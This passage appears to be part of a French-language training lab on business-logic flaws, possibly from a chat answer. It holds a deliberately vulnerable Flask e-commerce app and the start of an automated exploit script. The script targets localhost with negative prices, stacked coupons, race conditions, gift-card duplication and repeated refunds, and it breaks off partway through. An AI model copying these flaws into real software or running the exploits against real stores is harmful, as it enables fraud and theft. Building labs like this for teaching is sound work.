            white-space: pre-wrap;
            max-height: 500px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .product {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .balance {
            background: rgba(74, 222, 128, 0.3);
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SHOPPING_TROLLEY] E-Commerce Platform</h1>
            <p>Business Logic Vulnerabilities Demonstration</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES BUSINESS LOGIC FLAWS
        </div>
        
        <div class="balance" id="user-balance">
            Balance: $0.00 | Loyalty Points: 0
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username" value="alice">
                <input type="password" id="login-password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
            </div>
            
            <!-- PRODUCTS -->
            <div class="card">
                <h3>[PACKAGE] Products</h3>
                <button onclick="loadProducts()">Load Products</button>
                <div id="product-list"></div>
            </div>
            
            <!-- CART -->
            <div class="card">
                <h3>[SHOPPING_TROLLEY] Shopping Cart</h3>
                <button onclick="viewCart()">View Cart</button>
                <button onclick="checkout()">Checkout</button>
                <div id="cart-items"></div>
            </div>
        </div>
        
        <div class="grid">
            <!-- COUPON -->
            <div class="card">
                <h3>[ADMISSION_TICKETS] Apply Coupon</h3>
                <input type="text" id="coupon-code" placeholder="Coupon Code" value="SAVE50">
                <button onclick="applyCoupon()">Apply</button>
            </div>
            
            <!-- GIFT CARD -->
            <div class="card">
                <h3>[WRAPPED_PRESENT] Gift Card</h3>
                <input type="number" id="giftcard-amount" placeholder="Amount" value="100">
                <button onclick="buyGiftCard()">Buy Gift Card</button>
                <input type="text" id="giftcard-redeem" placeholder="Gift Card Code">
                <button onclick="redeemGiftCard()">Redeem</button>
            </div>
            
            <!-- REFUND -->
            <div class="card">
                <h3>[ARGENT] Request Refund</h3>
                <input type="number" id="refund-order-id" placeholder="Order ID">
                <textarea id="refund-reason" placeholder="Reason" rows="3"></textarea>
                <button onclick="requestRefund()">Request Refund</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] Business Logic Attack Vectors</h2>
            
            <div class="product">
                <h4>1. Price Manipulation - Negative Price</h4>
                <p>Add product with negative price to gain money</p>
                <button onclick="attack1()">Execute Attack 1</button>
            </div>
            
            <div class="product">
                <h4>2. Coupon Abuse - Multiple Application</h4>
                <p>Apply same coupon multiple times</p>
                <button onclick="attack2()">Execute Attack 2</button>
            </div>
            
            <div class="product">
                <h4>3. Race Condition - Stock Depletion</h4>
                <p>Buy more items than in stock</p>
                <button onclick="attack3()">Execute Attack 3</button>
            </div>
            
            <div class="product">
                <h4>4. Gift Card Duplication</h4>
                <p>Transfer to self to duplicate funds</p>
                <button onclick="attack4()">Execute Attack 4</button>
            </div>
            
            <div class="product">
                <h4>5. Refund Abuse</h4>
                <p>Get refund multiple times for same order</p>
                <button onclick="attack5()">Execute Attack 5</button>
            </div>
            
            <div class="product">
                <h4>6. Integer Overflow</h4>
                <p>Overflow quantity to negative price</p>
                <button onclick="attack6()">Execute Attack 6</button>
            </div>
            
            <div class="product">
                <h4>7. Loyalty Points Manipulation</h4>
                <p>Negative points to gain instead of spend</p>
                <button onclick="attack7()">Execute Attack 7</button>
            </div>
            
            <div class="product">
                <h4>8. Complete Exploitation Chain</h4>
                <p>Automated profit generation</p>
                <button onclick="attackChain()">Execute Full Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        let currentUser = null;
        
        async function login() {
            const username = document.getElementById('login-username').value;
            const password = document.getElementById('login-password').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/login', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ username, password })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                
                if (data.success) {
                    currentUser = data.user;
                    updateBalance();
                }
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function updateBalance() {
            try {
                const response = await fetch('/api/user/profile', {
                    credentials: 'include'
                });
                const data = await response.json();
                
                document.getElementById('user-balance').textContent = 
                    `Balance: $${data.balance.toFixed(2)} | Loyalty Points: ${data.loyalty_points}`;
            } catch (e) {}
        }
        
        async function loadProducts() {
            const output = document.getElementById('product-list');
            
            try {
                const response = await fetch('/api/products');
                const data = await response.json();
                
                output.innerHTML = '';
                data.products.forEach(product => {
                    const div = document.createElement('div');
                    div.className = 'product';
                    div.innerHTML = `
                        <strong>${product.name}</strong> - $${product.price}<br>
                        Stock: ${product.stock}<br>
                        <input type="number" id="qty-${product.id}" value="1" min="1" style="width: 60px">
                        <button onclick="addToCart(${product.id}, ${product.price})">Add to Cart</button>
                    `;
                    output.appendChild(div);
                });
            } catch (error) {
                output.textContent = 'Error loading products';
            }
        }
        
        async function addToCart(productId, price) {
            const qty = document.getElementById(`qty-${productId}`).value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/cart/add', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ 
                        product_id: productId, 
                        quantity: parseInt(qty),
                        price: price
                    })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function viewCart() {
            const output = document.getElementById('cart-items');
            
            try {
                const response = await fetch('/api/cart', {
                    credentials: 'include'
                });
                const data = await response.json();
                
                output.innerHTML = '<h4>Cart Total: $' + data.total.toFixed(2) + '</h4>';
                data.items.forEach(item => {
                    output.innerHTML += `${item.name} x${item.quantity} = $${item.subtotal}<br>`;
                });
            } catch (error) {
                output.textContent = 'Error viewing cart';
            }
        }
        
        async function checkout() {
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/checkout', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include'
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
                updateBalance();
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        async function applyCoupon() {
            const code = document.getElementById('coupon-code').value;
            const output = document.getElementById('output');
            
            try {
                const response = await fetch('/api/coupon/apply', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    credentials: 'include',
                    body: JSON.stringify({ code })
                });
                
                const data = await response.json();
                output.textContent = JSON.stringify(data, null, 2);
            } catch (error) {
                output.textContent = 'Error: ' + error.message;
            }
        }
        
        // Attack functions
        async function attack1() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 1: Negative Price Manipulation\\n\\n';
            
            // Add product with negative price
            const response = await fetch('/api/cart/add', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                credentials: 'include',
                body: JSON.stringify({
                    product_id: 1,
                    quantity: 1,
                    price: -1500.00  // Negative price!
                })
            });
            
            const data = await response.json();
            output.textContent += JSON.stringify(data, null, 2);
            output.textContent += '\\n\\n[ALERTE] If successful: Gained $1500 instead of paying!';
        }
        
        // Continue avec les autres attaques...
        
        setInterval(updateBalance, 5000);
    </script>
</body>
</html>
    ''')

# [X] ROUTES VULNÉRABLES

@app.route('/api/login', methods=['POST'])
def login():
    """Login basique"""
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, password))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['id']
    session['username'] = user['username']
    
    return jsonify({
        'success': True,
        'user': dict(user)
    })

@app.route('/api/user/profile')
def get_profile():
    """Profil utilisateur"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],))
    user = cursor.fetchone()
    conn.close()
    
    return jsonify(dict(user))

@app.route('/api/products')
def get_products():
    """Liste des produits"""
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM products')
    products = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify({'products': products})

@app.route('/api/cart/add', methods=['POST'])
def add_to_cart():
    """
    [X] VULNÉRABLE : Prix contrôlé par client
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    product_id = data.get('product_id')
    quantity = data.get('quantity')
    price = data.get('price')  # [X] ERREUR : Prix du client accepté
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # [X] ERREUR : Pas de validation du prix
    # [X] ERREUR : Accepte quantité négative
    cursor.execute('''
        INSERT INTO cart_items (user_id, product_id, quantity, price)
        VALUES (?, ?, ?, ?)
    ''', (session['user_id'], product_id, quantity, price))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': 'Added to cart'
    })

# Suite dans le prochain message...
```

**Continuer avec les autres routes vulnérables et les exploits ?** [HOT]

### PARTIE A : SUITE DES ROUTES VULNÉRABLES

```python
# ecommerce_vulnerable.py (SUITE)

@app.route('/api/cart')
def view_cart():
    """Voir le panier"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT ci.*, p.name 
        FROM cart_items ci
        JOIN products p ON ci.product_id = p.id
        WHERE ci.user_id = ?
    ''', (session['user_id'],))
    
    items = []
    total = 0.0
    
    for row in cursor.fetchall():
        item = dict(row)
        # [X] ERREUR : Utilise le prix stocké dans le panier (manipulable)
        subtotal = item['price'] * item['quantity']
        item['subtotal'] = subtotal
        total += subtotal
        items.append(item)
    
    conn.close()
    
    return jsonify({
        'items': items,
        'total': total
    })

@app.route('/api/checkout', methods=['POST'])
def checkout():
    """
    [X] VULNÉRABLE : Multiples failles
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Récupérer le panier
    cursor.execute('''
        SELECT product_id, quantity, price 
        FROM cart_items 
        WHERE user_id = ?
    ''', (session['user_id'],))
    
    cart_items = cursor.fetchall()
    
    if not cart_items:
        conn.close()
        return jsonify({'error': 'Cart is empty'}), 400
    
    # [X] ERREUR : Calculer total avec prix manipulable
    total = sum(item[2] * item[1] for item in cart_items)  # price * quantity
    
    # [X] ERREUR : Pas de vérification stock avant déduction
    # [X] ERREUR : Race condition possible
    for product_id, quantity, _ in cart_items:
        cursor.execute('''
            UPDATE products 
            SET stock = stock - ? 
            WHERE id = ?
        ''', (quantity, product_id))
        # [X] Pas de vérification si stock devient négatif
    
    # [X] ERREUR : Accepte total négatif
    cursor.execute('''
        SELECT balance FROM users WHERE id = ?
    ''', (session['user_id'],))
    
    balance = cursor.fetchone()[0]
    
    if balance < total:
        conn.close()
        return jsonify({'error': 'Insufficient balance'}), 400
    
    # Créer commande
    cursor.execute('''
        INSERT INTO orders (user_id, total, status)
        VALUES (?, ?, 'completed')
    ''', (session['user_id'], total))
    
    order_id = cursor.lastrowid
    
    # Déduire du solde
    cursor.execute('''
        UPDATE users 
        SET balance = balance - ? 
        WHERE id = ?
    ''', (total, session['user_id']))
    
    # [X] ERREUR : Points de fidélité calculés sur total (peut être négatif)
    points = int(abs(total))  # 1€ = 1 point
    cursor.execute('''
        UPDATE users 
        SET loyalty_points = loyalty_points + ? 
        WHERE id = ?
    ''', (points, session['user_id']))
    
    # Vider panier
    cursor.execute('''
        DELETE FROM cart_items WHERE user_id = ?
    ''', (session['user_id'],))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'order_id': order_id,
        'total': total,
        'points_earned': points
    })

@app.route('/api/coupon/apply', methods=['POST'])
def apply_coupon():
    """
    [X] VULNÉRABLE : Application multiple, validation faible
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    code = data.get('code')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # Vérifier coupon
    cursor.execute('''
        SELECT * FROM coupons 
        WHERE code = ? AND active = 1
    ''', (code,))
    
    coupon = cursor.fetchone()
    
    if not coupon:
        conn.close()
        return jsonify({'error': 'Invalid coupon'}), 400
    
    # [X] ERREUR : Pas de vérification expiration
    # [X] ERREUR : Pas de vérification max_uses
    # [X] ERREUR : Peut être appliqué plusieurs fois
    
    # Récupérer total panier
    cursor.execute('''
        SELECT SUM(price * quantity) as total 
        FROM cart_items 
        WHERE user_id = ?
    ''', (session['user_id'],))
    
    result = cursor.fetchone()
    cart_total = result['total'] if result['total'] else 0
    
    # [X] ERREUR : Pas de vérification min_purchase
    
    # Calculer réduction
    if coupon['discount_type'] == 'percentage':
        discount = cart_total * (coupon['discount_value'] / 100)
    else:
        discount = coupon['discount_value']
    
    # [X] ERREUR : Appliquer directement au panier (peut être appliqué multiple fois)
    cursor.execute('''
        UPDATE cart_items 
        SET price = price - ?
        WHERE user_id = ?
    ''', (discount / len(cursor.execute('SELECT * FROM cart_items WHERE user_id = ?', (session['user_id'],)).fetchall()), session['user_id']))
    
    # [X] ERREUR : Incrémenter used_count pas fiable
    cursor.execute('''
        UPDATE coupons 
        SET used_count = used_count + 1 
        WHERE code = ?
    ''', (code,))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'discount': discount,
        'message': f'Coupon applied: ${discount:.2f} off'
    })

@app.route('/api/giftcard/buy', methods=['POST'])
def buy_gift_card():
    """
    [X] VULNÉRABLE : Montant contrôlé par client
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    amount = data.get('amount')  # [X] Accepte montant du client
    
    # [X] ERREUR : Accepte montant négatif
    if amount <= 0:
        return jsonify({'error': 'Invalid amount'}), 400
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Vérifier solde
    cursor.execute('''
        SELECT balance FROM users WHERE id = ?
    ''', (session['user_id'],))
    
    balance = cursor.fetchone()[0]
    
    if balance < amount:
        conn.close()
        return jsonify({'error': 'Insufficient balance'}), 400
    
    # Générer code
    code = secrets.token_hex(8).upper()
    
    # Créer gift card
    cursor.execute('''
        INSERT INTO gift_cards (code, balance, user_id)
        VALUES (?, ?, ?)
    ''', (code, amount, session['user_id']))
    
    # Déduire du solde
    cursor.execute('''
        UPDATE users 
        SET balance = balance - ? 
        WHERE id = ?
    ''', (amount, session['user_id']))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'code': code,
        'balance': amount
    })

@app.route('/api/giftcard/redeem', methods=['POST'])
def redeem_gift_card():
    """
    [X] VULNÉRABLE : Peut être utilisée plusieurs fois
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    code = data.get('code')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Récupérer gift card
    cursor.execute('''
        SELECT * FROM gift_cards WHERE code = ?
    ''', (code,))
    
    gift_card = cursor.fetchone()
    
    if not gift_card:
        conn.close()
        return jsonify({'error': 'Invalid gift card'}), 400
    
    balance = gift_card[2]
    
    # [X] ERREUR : Pas de vérification si déjà utilisée
    # [X] ERREUR : Pas de vérification du propriétaire
    
    # Ajouter au solde
    cursor.execute('''
        UPDATE users 
        SET balance = balance + ? 
        WHERE id = ?
    ''', (balance, session['user_id']))
    
    # [X] ERREUR : Ne supprime pas la gift card
    # Elle peut être réutilisée !
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'amount': balance,
        'message': f'${balance:.2f} added to your balance'
    })

@app.route('/api/giftcard/transfer', methods=['POST'])
def transfer_gift_card():
    """
    [X] VULNÉRABLE : Transfert à soi-même = duplication
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    code = data.get('code')
    to_user = data.get('to_user')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Récupérer gift card
    cursor.execute('''
        SELECT * FROM gift_cards WHERE code = ?
    ''', (code,))
    
    gift_card = cursor.fetchone()
    
    if not gift_card:
        conn.close()
        return jsonify({'error': 'Invalid gift card'}), 400
    
    # [X] ERREUR : Pas de vérification si to_user == user_id
    # Permet transfert à soi-même = duplication
    
    # Créer nouvelle gift card pour destinataire
    new_code = secrets.token_hex(8).upper()
    cursor.execute('''
        INSERT INTO gift_cards (code, balance, user_id)
        VALUES (?, ?, ?)
    ''', (new_code, gift_card[2], to_user))
    
    # [X] ERREUR : Ne supprime pas l'ancienne
    # Les deux existent maintenant !
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'new_code': new_code,
        'message': 'Gift card transferred'
    })

@app.route('/api/refund/request', methods=['POST'])
def request_refund():
    """
    [X] VULNÉRABLE : Multiples remboursements possibles
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    order_id = data.get('order_id')
    reason = data.get('reason', 'Not satisfied')
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Récupérer commande
    cursor.execute('''
        SELECT * FROM orders WHERE id = ? AND user_id = ?
    ''', (order_id, session['user_id']))
    
    order = cursor.fetchone()
    
    if not order:
        conn.close()
        return jsonify({'error': 'Order not found'}), 404
    
    # [X] ERREUR : Pas de vérification si déjà remboursé
    # [X] ERREUR : Pas de limite de temps
    # [X] ERREUR : Remboursement automatique
    
    amount = order[2]  # total
    
    # Créer remboursement
    cursor.execute('''
        INSERT INTO refunds (order_id, user_id, amount, reason, status)
        VALUES (?, ?, ?, ?, 'approved')
    ''', (order_id, session['user_id'], amount, reason))
    
    # [X] ERREUR : Remboursement immédiat sans vérification
    cursor.execute('''
        UPDATE users 
        SET balance = balance + ? 
        WHERE id = ?
    ''', (amount, session['user_id']))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'refund_amount': amount,
        'message': 'Refund approved'
    })

@app.route('/api/loyalty/redeem', methods=['POST'])
def redeem_loyalty_points():
    """
    [X] VULNÉRABLE : Points négatifs = ajout
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    points = data.get('points')  # [X] Contrôlé par client
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    # Récupérer points utilisateur
    cursor.execute('''
        SELECT loyalty_points FROM users WHERE id = ?
    ''', (session['user_id'],))
    
    user_points = cursor.fetchone()[0]
    
    # [X] ERREUR : Accepte points négatifs
    if user_points < points:
        conn.close()
        return jsonify({'error': 'Insufficient points'}), 400
    
    # Conversion : 100 points = 1€
    amount = points / 100
    
    # [X] ERREUR : Si points négatifs, amount négatif
    # Déduction négative = addition !
    cursor.execute('''
        UPDATE users 
        SET loyalty_points = loyalty_points - ?,
            balance = balance + ?
        WHERE id = ?
    ''', (points, amount, session['user_id']))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'points_redeemed': points,
        'amount': amount
    })

@app.route('/api/premium/subscribe', methods=['POST'])
def subscribe_premium():
    """
    [X] VULNÉRABLE : Durée contrôlée par client
    """
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    months = data.get('months', 1)  # [X] Contrôlé par client
    
    # [X] ERREUR : Accepte mois négatifs ou 0
    price_per_month = 10.0
    total = price_per_month * months
    
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT balance FROM users WHERE id = ?
    ''', (session['user_id'],))
    
    balance = cursor.fetchone()[0]
    
    if balance < total:
        conn.close()
        return jsonify({'error': 'Insufficient balance'}), 400
    
    # [X] ERREUR : Si months négatif, total négatif = crédit
    expires_at = datetime.now() + timedelta(days=30 * months)
    
    cursor.execute('''
        UPDATE users 
        SET balance = balance - ?,
            premium = 1,
            premium_expires_at = ?
        WHERE id = ?
    ''', (total, expires_at, session['user_id']))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'expires_at': expires_at.isoformat(),
        'total': total
    })

if __name__ == '__main__':
    print("[SHOPPING_TROLLEY] E-Commerce Platform (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples Business Logic Vulnerabilities!")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Price Manipulation (negative prices)")
    print("   2. Coupon Abuse (multiple application)")
    print("   3. Gift Card Duplication")
    print("   4. Refund Abuse (multiple refunds)")
    print("   5. Race Condition (stock)")
    print("   6. Loyalty Points Manipulation")
    print("   7. Integer Overflow")
    print("   8. Workflow Bypass")
    
    app.run(debug=True, port=5000)
```

---

### PARTIE B : SCRIPTS D'EXPLOITATION AUTOMATISÉS

```python
# exploit_business_logic.py
import requests
import json
import time
from concurrent.futures import ThreadPoolExecutor
import threading

BASE_URL = "http://localhost:5000"

class BusinessLogicExploiter:
    """
    Exploitation complète des Business Logic Vulnerabilities
    """
    
    def __init__(self, base_url=BASE_URL):
        self.base_url = base_url
        self.session = requests.Session()
        self.initial_balance = 0
    
    def banner(self):
        print("=" * 80)
        print("BUSINESS LOGIC VULNERABILITIES - COMPLETE EXPLOITATION")
        print("=" * 80)
        print()
    
    def login(self, username="alice", password="alice123"):
        """Se connecter"""
        print(f"\n[*] Logging in as {username}...")
        
        response = self.session.post(
            f"{self.base_url}/api/login",
            json={"username": username, "password": password}
        )
        
        if response.status_code == 200:
            data = response.json()
            self.initial_balance = data['user']['balance']
            print(f"[[OK]] Login successful")
            print(f"    Initial balance: ${self.initial_balance:.2f}")
            return True
        else:
            print(f"[[X]] Login failed")
            return False
    
    def get_balance(self):
        """Récupérer le solde actuel"""
        response = self.session.get(f"{self.base_url}/api/user/profile")
        
        if response.status_code == 200:
            data = response.json()
            return data['balance'], data['loyalty_points']
        return 0, 0
    
    def exploit_1_negative_price(self):
        """
        EXPLOIT 1 : Prix négatif pour gagner de l'argent
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 1: NEGATIVE PRICE MANIPULATION")
        print("=" * 80)
        
        print("\n[*] Adding product with negative price...")
        
        # Ajouter produit avec prix négatif
        response = self.session.post(
            f"{self.base_url}/api/cart/add",
            json={
                "product_id": 1,
                "quantity": 1,
                "price": -1500.00  # Prix négatif !
            }
        )
        
        if response.status_code == 200:
            print("[[OK]] Product added with negative price")
            
            # Checkout
            print("[*] Checking out...")
            response = self.session.post(f"{self.base_url}/api/checkout")
            
            if response.status_code == 200:
                data = response.json()
                print(f"[[OK]] Checkout successful!")
                print(f"    Total: ${data['total']:.2f}")
                
                balance, _ = self.get_balance()
                profit = balance - self.initial_balance
                
                print(f"\n[[ARGENT]] PROFIT: ${profit:.2f}")
                
                if profit > 0:
                    print("[[ALERTE]] CRITICAL: Negative price accepted - Money generated!")
                    return True
        
        print("[[X]] Exploit failed")
        return False
    
    def exploit_2_coupon_abuse(self):
        """
        EXPLOIT 2 : Appliquer coupon multiple fois
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 2: COUPON MULTIPLE APPLICATION")
        print("=" * 80)
        
        # Ajouter produit cher
        print("\n[*] Adding expensive product...")
        self.session.post(
            f"{self.base_url}/api/cart/add",
            json={
                "product_id": 1,
                "quantity": 1,
                "price": 1500.00
            }
        )
        
        # Appliquer coupon plusieurs fois
        print("[*] Applying coupon multiple times...")
        
        for i in range(5):
            response = self.session.post(
                f"{self.base_url}/api/coupon/apply",
                json={"code": "SAVE50"}
            )
            
            if response.status_code == 200:
                data = response.json()
                print(f"[[OK]] Coupon applied #{i+1}: ${data['discount']:.2f} off")
            else:
                print(f"[[X]] Coupon application #{i+1} failed")
                break
        
        # Vérifier panier
        response = self.session.get(f"{self.base_url}/api/cart")
        data = response.json()
        
        print(f"\n[*] Cart total: ${data['total']:.2f}")
        
        if data['total'] < 0:
            print("[[ALERTE]] CRITICAL: Total is NEGATIVE - Free money!")
            return True
        elif data['total'] < 100:
            print("[[ALERTE]] HIGH: Multiple coupons stacked successfully!")
            return True
        
        return False
    
    def exploit_3_race_condition_stock(self):
        """
        EXPLOIT 3 : Race condition sur le stock
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 3: RACE CONDITION - STOCK DEPLETION")
        print("=" * 80)
        
        # Obtenir produit avec stock limité
        response = self.session.get(f"{self.base_url}/api/products")
        products = response.json()['products']
        
        # Choisir produit avec stock = 1
        target_product = None
        for p in products:
            if p['stock'] == 1:
                target_product = p
                break
        
        if not target_product:
            print("[!] No product with stock=1 found, using first product")
            target_product = products[0]
        
        print(f"\n[*] Target: {target_product['name']}")
        print(f"    Stock: {target_product['stock']}")
        
        # Fonction pour acheter
        def buy_product():
            s = requests.Session()
            # Login
            s.post(
                f"{self.base_url}/api/login",
                json={"username": "alice", "password": "alice123"}
            )
            # Ajouter au panier
            s.post(
                f"{self.base_url}/api/cart/add",
                json={
                    "product_id": target_product['id'],
                    "quantity": 1,
                    "price": target_product['price']
                }
            )
            # Checkout
            response = s.post(f"{self.base_url}/api/checkout")
            return response.status_code == 200
        
        # Lancer 10 threads simultanément
        print("[*] Launching 10 simultaneous purchase attempts...")
        
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [executor.submit(buy_product) for _ in range(10)]
            results = [f.result() for f in futures]
        
        successful = sum(results)
        print(f"\n[*] Successful purchases: {successful}")
        print(f"    Original stock: {target_product['stock']}")
        
        if successful > target_product['stock']:
            print(f"[[ALERTE]] CRITICAL: Sold {successful} items with only {target_product['stock']} in stock!")
            return True
        
        return False
    
    def exploit_4_gift_card_duplication(self):
        """
        EXPLOIT 4 : Duplication de gift card
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 4: GIFT CARD DUPLICATION")
        print("=" * 80)
        
        initial_balance, _ = self.get_balance()
        
        # Acheter gift card
        print("\n[*] Buying gift card for $100...")
        response = self.session.post(
            f"{self.base_url}/api/giftcard/buy",
            json={"amount": 100}
        )
        
        if response.status_code != 200:
            print("[[X]] Failed to buy gift card")
            return False
        
        data = response.json()
        gift_card_code = data['code']
        print(f"[[OK]] Gift card purchased: {gift_card_code}")
        
        # Méthode 1 : Utiliser plusieurs fois
        print("\n[*] Method 1: Using gift card multiple times...")
        
        for i in range(5):
            response = self.session.post(
                f"{self.base_url}/api/giftcard/redeem",
                json={"code": gift_card_code}
            )
            
            if response.status_code == 200:
                print(f"[[OK]] Redemption #{i+1} successful")
            else:
                print(f"[[X]] Redemption #{i+1} failed")
                break
        
        balance_after_redeem, _ = self.get_balance()
        profit = balance_after_redeem - initial_balance
        
        print(f"\n[*] Balance before: ${initial_balance:.2f}")
        print(f"[*] Balance after: ${balance_after_redeem:.2f}")
        print(f"[[ARGENT]] Profit: ${profit:.2f}")
        
        if profit > 0:
            print("[[ALERTE]] CRITICAL: Gift card reused multiple times - Money duplicated!")
            return True
        
        # Méthode 2 : Transfert à soi-même
        print("\n[*] Method 2: Transfer to self...")
        
        # Acheter nouvelle gift card
        response = self.session.post(
            f"{self.base_url}/api/giftcard/buy",
            json={"amount": 100}
        )
        
        if response.status_code == 200:
            code = response.json()['code']
            
            # Récupérer user_id
            profile = self.session.get(f"{self.base_url}/api/user/profile").json()
            user_id = profile['id']
            
            # Transférer à soi-même
            response = self.session.post(
                f"{self.base_url}/api/giftcard/transfer",
                json={
                    "code": code,
                    "to_user": user_id  # Même utilisateur !
                }
            )
            
            if response.status_code == 200:
                new_code = response.json()['new_code']
                print(f"[[OK]] Transfer successful: {new_code}")
                
                # Utiliser les deux
                self.session.post(
                    f"{self.base_url}/api/giftcard/redeem",
                    json={"code": code}
                )
                
                self.session.post(
                    f"{self.base_url}/api/giftcard/redeem",
                    json={"code": new_code}
                )
                
                balance_final, _ = self.get_balance()
                profit2 = balance_final - balance_after_redeem
                
                if profit2 > 50:
                    print(f"[[ALERTE]] CRITICAL: Gift card duplicated via self-transfer!")
                    return True
        
        return False
    
    def exploit_5_refund_abuse(self):
        """
        EXPLOIT 5 : Remboursement multiple
        """
        print("\n" + "=" * 80)
        print("EXPLOIT 5: MULTIPLE REFUNDS")
        print("=" * 80)
        
        # Créer commande
        print("\n[*] Creating order...")
        self.session.post(
            f"{self.base_url}/api/cart/add",
            json={
                "product_id": 1,
                "quantity": 1,
                "price": 500.00
            }
        )
        
        response = self.session.post(f"{self.base_url}/api/checkout")
        
        if response.status_code != 200:
            print("[[X]] Failed to create order")
            return False
        
        order_id = response.json()['order_id']
        print(f"[[OK]] Order created: #{order_id}")
        
        initial_balance, _ = self.get_balance()
        
        # Demander remboursement plusieurs fois
        print("[*] Requesting refunds...")
        
        for i in range(5):
            response = self.session.post(
                f"{self.base_url}/api/refund/request",
                json={
                    "order_id": order_id,
                    "reason": f"Not satisfied #{i+1}"
                }
            )
            
            if response.status_code == 200:
                data = response.json()
                print(f"[[OK]] Refund #{i+1}: ${data['refund_amount']:.2f}")
            else:
                print(f"[[X]] Refund #{i+1} failed")
                break
        
        final_balance, _ = self.get_balance()
        profit = final_balance - initial_balance
        
